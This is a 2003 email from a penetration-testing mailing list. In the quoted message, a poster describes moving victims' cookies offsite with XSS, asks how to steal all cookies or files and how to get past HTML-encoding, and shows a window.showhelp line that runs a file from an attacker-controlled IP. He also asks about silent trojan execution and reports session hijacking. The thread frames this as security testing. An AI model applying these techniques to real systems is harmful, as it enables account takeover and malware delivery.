Hello, I've been following your posts right from the penetration lab set up phase. Would it be possible for you to share your experience so that others can shorten their learning curve? Again, if not too much of a trouble, can I contact you over your mail id (mail sent to your id stated here bounces back ;))- as I'm in the starting throes of setting up a penetration lab, and your recent experience and guidance would be valuable for me. Thanks, Sam -----Original Message----- From: Indian Tiger [mailto:indiantigerat_private] Sent: 23 April, 2003 12:51 PM To: pen test Subject: RE: Proof of Concept Tool on Web Application Security Hey Everybody, First of all thank you very much to Robert, Rogan, Steve, Nicolas and Leah for their guidance to test XSS and Session ID brute force attack. Now I can transfer victim’s cookie to another location successfully. I have tested XSS to transfer cookie using following three ways: 1. Using document.location 2. Using Image src 3. Using hidden fields The cookie, which I am getting, is of current application only mean If I am accessing www.hotmail.com I will be getting only Hotmail's session ID asigned to me for that session. Now how can I steal all cookies stored on the victim’s machine? or how to transfer a file from Victim machine using Client Side Scripting or any other way? Some sites converts < and > tags into < and > to protect them selves from XSS attacks. Is there any way to bypass this protection? I was testing some trojan execution using XSS. In this process I was able to run help file 31users.chm from attackers machine to victims machine as follows: window.showhelp(file:///XXX. XXX. XXX. XXX/c:/windows/help/31users.chm) Is it possible to run some trojan or activex componenet instead of help file? Without alerting for any pop-up. Is this possible to write some malicious help file? (These files not even ask before execution.) As per IDefence’s Article on “Brute forcing Session ID” some time session ID is random. I have tested this against six sites and I was not much lucky to get session IDs in which only last 3-4 digits are changing. What do you think in practice still are they so? Since iDEFENSE has published this research in Nov 2001 and current scenario might be a bit changed. In my research of six sites, four sites were using ASP session variable to generated session ID and remaining two their own. I was able to hijack ASP sessions using session IDs. In my testing, first I have logged in as user1, got his session ID and using user1’s session ID, I was able to hijack user1. Any help on this would be highly appreciated. Thanking You.
